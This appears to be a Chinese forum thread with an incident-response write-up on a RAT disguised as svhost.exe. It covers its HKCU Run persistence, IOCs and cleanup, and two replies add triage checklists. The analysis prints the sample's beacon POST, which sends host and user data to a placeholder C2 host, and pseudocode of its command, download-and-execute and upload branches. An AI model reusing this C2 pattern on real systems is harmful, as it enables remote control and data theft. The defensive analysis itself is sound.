发布于周六 17:353天前 背景最近在一次授权内网排查中,某 Windows 业务终端出现异常外联:固定间隔访问境外 VPS 的 8443 端口,同时本机没有明显的业务服务。初步看像远控木马的心跳通信。这里记录一次偏实战的逆向分析和处置过程,重点放在样本行为、C2 通信、权限边界和日志留痕,不涉及攻击投放。环境说明:分析在隔离虚拟机中完成,样本来自客户授权排查现场;网络使用 FakeDNS + INetSim 模拟,避免真实外联。问题定位现场最先发现的问题来自防火墙外联日志,目标 IP 固定,目的端口为 8443,访问周期约 60 秒。终端侧用 Sysmon 和 PowerShell 交叉确认进程链路。Get-NetTCPConnection -State Established | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | Sort-Object RemoteAddress Get-Process -Id 4280 | Format-List * wmic process where processid=4280 get ProcessId,ParentProcessId,CommandLine,ExecutablePath结果显示可疑进程路径位于:C:\\Users\\Public\\Libraries\\svhost.exe这里有两个明显异常点:文件名伪装为 svhost.exe,容易和系统进程 svchost.exe 混淆;运行目录在 Users\\Public 下,正常系统服务不应从该路径启动;父进程为 explorer.exe,说明更像用户态持久化启动,不是正常服务启动链。技术分析先做静态信息提取,避免直接运行样本。certutil -hashfile C:\\Users\\Public\\Libraries\\svhost.exe SHA256 sigcheck.exe -m C:\\Users\\Public\\Libraries\\svhost.exe strings64.exe -n 6 C:\\Users\\Public\\Libraries\\svhost.exe | findstr /i \"http tcp cmd shell key mutex\"关键发现如下:样本无有效数字签名;PE 编译时间异常,疑似被修改;字符串中存在 /gate.php、cmd.exe /c、Software\\Microsoft\\Windows\\CurrentVersion\\Run;存在互斥体字符串 Global\\MSUpdate_6D2F,用于避免重复运行。通过 Detect It Easy 初看壳特征不明显,但导入表较少,重点导入了 WinHttpOpen、WinHttpConnect、WinHttpSendRequest、CreateProcessW、RegSetValueExW、VirtualAlloc 等 API。结合行为基本可以判断是轻量级远控 Loader 或简化 RAT。自启动与权限边界注册表排查确认存在用户级自启动项:reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /s # 现场发现 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run WindowsHost REG_SZ C:\\Users\\Public\\Libraries\\svhost.exe这里要注意权限边界:样本没有拿到管理员权限,因此没有写入 HKLM,也没有创建系统服务,而是落在 HKCU\\Run。这类远控在内网里很常见,隐蔽性不强,但容易长期存活,因为用户登录后会自动拉起。继续排查计划任务和服务,确认没有额外持久化:schtasks /query /fo LIST /v | findstr /i \"svhost public libraries\" sc query state= all | findstr /i \"svhost public libraries\"C2 通信行为在隔离环境运行样本,使用 FakeDNS 将域名指向本地分析机,并通过 Wireshark 和 INetSim 观察通信。样本每 60 秒发起一次 HTTP POST,请求路径固定:POST /gate.php HTTP/1.1 Host: update-check.example User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 96 id=DESKTOP-9F31A2&u=jack&os=Windows10&priv=user&ver=1.4&act=ping该通信没有真正使用 TLS,仅通过 8443 端口伪装 HTTPS 服务。回包如果是 200 OK 且 body 中存在特定字段,样本会进入命令处理分支。逆向时在 IDA 里能看到大致逻辑:while (true) { sleep(60000); data = build_host_profile(); resp = http_post(c2, \"/gate.php\", data); if (starts_with(resp, \"CMD:\")) { run_cmd(resp + 4); } else if (starts_with(resp, \"DL:\")) { download_and_exec(resp + 3); } else if (starts_with(resp, \"UP:\")) { upload_file(resp + 3); } }命令执行分支调用了 CreateProcessW,参数形式接近:cmd.exe /c <remote_command>因此可以重点关注命令行审计日志、PowerShell 日志、Sysmon Event ID 1。如果远控下发了横向移动命令,也会在这些位置留下痕迹。操作步骤:现场排查清单以下步骤适合在授权应急或渗透复盘中使用,目标是确认远控是否存在、是否落地、是否执行过命令。1. 确认可疑进程与网络连接netstat -ano | findstr \"8443\" tasklist /fi \"PID eq 4280\" wmic process where processid=4280 get ProcessId,ParentProcessId,CommandLine,ExecutablePath2. 导出样本并计算哈希copy C:\\Users\\Public\\Libraries\\svhost.exe D:\\evidence\\svhost.exe certutil -hashfile D:\\evidence\\svhost.exe SHA256 > D:\\evidence\\hash.txt3. 检查自启动项reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /s reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /s schtasks /query /fo LIST /v wmic service get Name,DisplayName,PathName,StartMode | findstr /i \"public svhost\"4. 检查日志留痕如果部署了 Sysmon,重点看这些事件:Event ID 1:进程创建,确认是否执行过 cmd.exe、powershell.exe、net.exe、wmic.exe;Event ID 3:网络连接,确认 C2 地址和连接周期;Event ID 11:文件创建,确认是否下载二阶段载荷;Event ID 13:注册表修改,确认 Run 项写入时间;PowerShell 快速检索示例:Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} | Where-Object { $_.Message -match 'svhost.exe|cmd.exe|powershell.exe|wmic.exe' } | Select-Object TimeCreated, Id, ProviderName, Message | Out-File D:\\evidence\\sysmon_process.txt Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=3} | Where-Object { $_.Message -match '8443|update-check' } | Select-Object TimeCreated, Id, Message | Out-File D:\\evidence\\sysmon_network.txt5. 提取 IOC类型内容文件路径C:\\Users\\Public\\Libraries\\svhost.exe注册表HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsHost互斥体Global\\MSUpdate_6D2F请求路径/gate.php可疑端口8443命令执行cmd.exe /c风险与修复建议处置时不建议直接删除文件就结束,至少要做三件事:断外联、保全证据、确认是否有二阶段行为。先隔离主机网络,避免继续连接 C2;保留样本、注册表导出、进程列表、网络连接、Sysmon 日志;删除 HKCU\\Run 自启动项后再清理落地文件;回溯该用户最近下载、邮件附件、浏览器缓存和压缩包解压记录;检查是否存在新增本地用户、异常 RDP 登录、SMB 横向访问;对同网段主机批量检索相同路径、哈希、C2 域名和请求路径。清理命令示例:reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsHost /f taskkill /pid 4280 /f del /f /q C:\\Users\\Public\\Libraries\\svhost.exe如果确认样本执行过远程命令,需要进一步处理账号风险:修改该用户密码,检查域控登录日志,排查是否有凭据抓取工具落地。远控本身只是入口,真正的风险往往在后续命令执行和横向移动。加固建议开启 PowerShell Script Block Logging 和 Module Logging;部署 Sysmon,并至少记录进程创建、网络连接、注册表修改和文件创建;限制普通用户对公共目录的可执行文件运行,可结合 AppLocker 或 WDAC;代理或防火墙侧限制终端直连公网高危端口,尤其是非业务必要的 8443、8080、9001 等;对 Users\\Public、AppData\\Roaming、Temp 下的 EXE 启动建立告警规则;EDR 规则中关注 伪系统进程名 + 用户目录启动 + 周期性外联 组合行为。总结这类远控木马技术复杂度不一定高,但在内网里很实用:用户级自启动、伪装系统进程、固定心跳、远程命令执行,足够完成长期控制。分析时不要只看样本本身,还要结合进程链、注册表、网络日志和命令执行痕迹。处置时也不要只删文件,应回溯 C2 通信时间线,确认是否发生过二阶段下载、权限提升或横向移动。 逆向分析、样本行为与调试流程示意
周六 17:363天前 这类样本建议先别急着“逆完全部逻辑”,先把自启动点、网络行为、落地文件和日志时间线串起来,基本能还原 70% 以上的行为链。 1. 自启动排查可以按优先级扫这些位置 reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" schtasks /query /fo LIST /v wmic startup get Caption,Command,Location,User wmic service get Name,DisplayName,PathName,StartMode | findstr /i "auto" 远控样本常见做法是把自身复制到: %APPDATA% %LOCALAPPDATA% %TEMP% %PROGRAMDATA% %PUBLIC% 如果发现 Run 项或计划任务指向这些目录,并且文件名伪装成 svchost.exe、RuntimeBroker.exe、OneDriveUpdate.exe 这类,就值得重点看。 2. C2 通信建议同时做静态和动态确认 静态先用字符串快速筛: strings -n 6 sample.exe | findstr /i "http https tcp udp ws:// wss:// .php .asp .jsp .json api gate panel" 如果样本做了简单混淆,可以重点看这些 API 调用附近的交叉引用: WinHttpOpen WinHttpConnect WinHttpSendRequest InternetOpenA/W InternetConnectA/W HttpSendRequestA/W WSAStartup socket connect send recv gethostbyname DnsQuery_A/W 动态分析时建议在隔离网络里跑,配合 FakeNet-NG 或 INetSim。Windows 上可以直接先抓连接: netstat -ano | findstr ESTABLISHED tasklist /fi "PID eq <pid>" Get-NetTCPConnection | Sort-Object State,RemoteAddress | Format-Table -Auto 如果有 Sysmon,网络连接事件可以直接查 Event ID 3: Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Sysmon/Operational'; Id=3 } | Select-Object TimeCreated,Message | more 重点看:首次连接时间、目标 IP/域名、端口、User-Agent、URI 路径、POST 包内容、心跳周期。很多远控会有固定 beacon 间隔,比如 30s/60s,并且 URI 路径比较固定。 3. 日志留痕建议按时间线查 如果你知道样本首次执行时间,可以从这个时间点前后 5~10 分钟拉日志: wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:50 wevtutil qe System /q:"*[System[(EventID=7045)]]" /f:text /c:50 wevtutil qe Microsoft-Windows-TaskScheduler/Operational /f:text /c:100 几个关键事件: 4688:进程创建,确认父子进程关系; 7045:新服务安装; 4698:计划任务创建; 4624:异常登录,尤其是 Type 3 / Type 10; Sysmon 1:进程创建; Sysmon 3:网络连接; Sysmon 11:文件创建; Sysmon 13:注册表修改。 4. 逆向时可以重点看配置解密和命令分发 远控样本一般会有一段配置区,里面存 C2、端口、分组 ID、互斥体、安装路径。可以在 IDA/Ghidra 里从网络 API、注册表 API、文件写入 API 反推配置加载函数。 常见可疑 API: CreateMutexA/W RegSetValueExA/W CreateServiceA/W ShellExecuteA/W CreateProcessA/W URLDownloadToFileA/W WriteFile GetModuleFileNameA/W GetTempPathA/W GetUserNameA/W GetComputerNameA/W 如果看到大量 xor、rol/ror、base64、CryptStringToBinary 之类逻辑,优先把解密函数单独抠出来跑,拿到明文配置后再继续分析会省很多时间。 5. 最后输出排查结论时建议固定格式 样本哈希: 首次执行时间: 父进程: 落地路径: 自启动方式: C2 地址: 通信协议: 心跳周期: 创建文件: 修改注册表: 相关日志事件: 处置建议: 这样后续无论是写分析报告,还是给应急同学做 IOC,都比较清晰。这里最关键的是把“自启动点”和“首次 C2 连接”对应到同一个时间线,能证明样本不是孤立文件,而是确实执行并建立了远控链路。
周六 19:243天前 前面的自启动点排查完成后,建议把重点放到“进程—连接—落地文件—日志”四条线的关联上。远控样本经常不直接由启动项拉起,而是通过正常进程注入、服务宿主或计划任务的子进程建立 C2,所以单看 Run 键容易漏掉关键链路。 先在隔离主机上记录当前连接及对应 PID,优先保留现场,不要马上结束进程: netstat -ano | findstr /i "ESTABLISHED SYN_SENT" tasklist /svc tasklist /m powershell -NoProfile -Command "Get-NetTCPConnection | Sort-Object State,RemoteAddress | Format-Table -AutoSize" 拿到 PID 后继续反查命令行、父进程、执行路径和加载模块。下面这段 PowerShell 在原生系统上就够用: $pid = 1234 Get-CimInstance Win32_Process -Filter "ProcessId=$pid" | Select-Object ProcessId,ParentProcessId,Name,ExecutablePath,CommandLine Get-Process -Id $pid -Module -ErrorAction SilentlyContinue | Select-Object ModuleName,FileName Get-CimInstance Win32_Process -Filter "ParentProcessId=$pid" | Select-Object ProcessId,Name,ExecutablePath,CommandLine 重点关注这些异常组合:用户目录或临时目录下的可执行文件、签名正常但命令行参数异常的系统进程、父进程为 Office/浏览器/脚本解释器、连接目标为固定公网 IP 而不是域名,以及进程启动后短时间内出现 DNS、TCP、文件写入行为。不要只按文件名判断,至少计算哈希并检查签名: Get-FileHash "C:\path\sample.exe" -Algorithm SHA256 Get-AuthenticodeSignature "C:\path\sample.exe" | Format-List Status,StatusMessage,SignerCertificate Get-ChildItem "$env:TEMP","$env:APPDATA","$env:LOCALAPPDATA" -Recurse -File ` -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-3)} | Sort-Object LastWriteTime -Descending | Select-Object -First 100 FullName,Length,CreationTime,LastWriteTime 逆向时建议优先从网络 API 和字符串入手,而不是一开始就完整跟控制流。可以在导入表、交叉引用和调用参数中查找 WinHttp、WinINet、WS2_32、DnsQuery、InternetOpen、WinHttpConnect、connect、send、recv 等调用。重点记录以下字段: 域名、IP、端口及 DNS 查询顺序; HTTP 方法、URI、Host、User-Agent、Content-Type; 心跳间隔、重连退避、首次上线参数; 是否存在固定 Magic、长度字段、版本号或加密前缀; 配置是否经过 Base64、XOR、RC4/AES 或简单字符串拼接。 如果是 HTTPS,不建议直接把抓包内容当成“不可分析”。先从样本配置、内存中的解密结果、TLS 连接元数据和 DNS 时间线入手;在受控实验环境里也可以用代理配合测试证书观察请求,但不要在生产终端导入抓包证书。对于只需要确认 C2 的场景,目的地址、连接周期、SNI、进程 PID 和首次连接时间通常已经足够形成 IOC。 日志侧建议至少核对以下事件。若已部署 Sysmon,优先看进程创建、网络连接、文件落地和注册表修改: Security 4688:进程创建及命令行; Sysmon 1:Process Create; Sysmon 3:Network Connection; Sysmon 11:FileCreate; Sysmon 12/13/14:注册表对象创建和修改; Security 4698/4702:计划任务创建和更新; Security 7045 或 System 7045:服务安装。 可以先用事件时间范围把样本启动前后各扩展 5 到 10 分钟,再按 PID、文件名和目标 IP 关联,而不是只搜样本名称: wevtutil qe Microsoft-Windows-Sysmon/Operational ^ /q:"*[System[(EventID=1 or EventID=3 or EventID=11)]]" ^ /f:text /rd:true /c:200 wevtutil qe Security ^ /q:"*[System[(EventID=4688 or EventID=4698 or EventID=4702)]]" ^ /f:text /rd:true /c:200 wevtutil qe System ^ /q:"*[System[(EventID=7045)]]" ^ /f:text /rd:true /c:100 最后把时间线整理成类似“21:03 创建文件 → 21:04 注册持久化 → 21:04 进程启动 → 21:04 DNS 查询 → 21:05 连接 C2 → 21:06 写入配置/二阶段文件”的形式,再去验证逆向结论。这样即使样本有混淆、延迟执行或部分功能未触发,也能先确认真实影响范围,并据此提取域名、IP、路径、哈希和持久化特征用于封禁和排查同网段主机。
创建帐户或登录后发表意见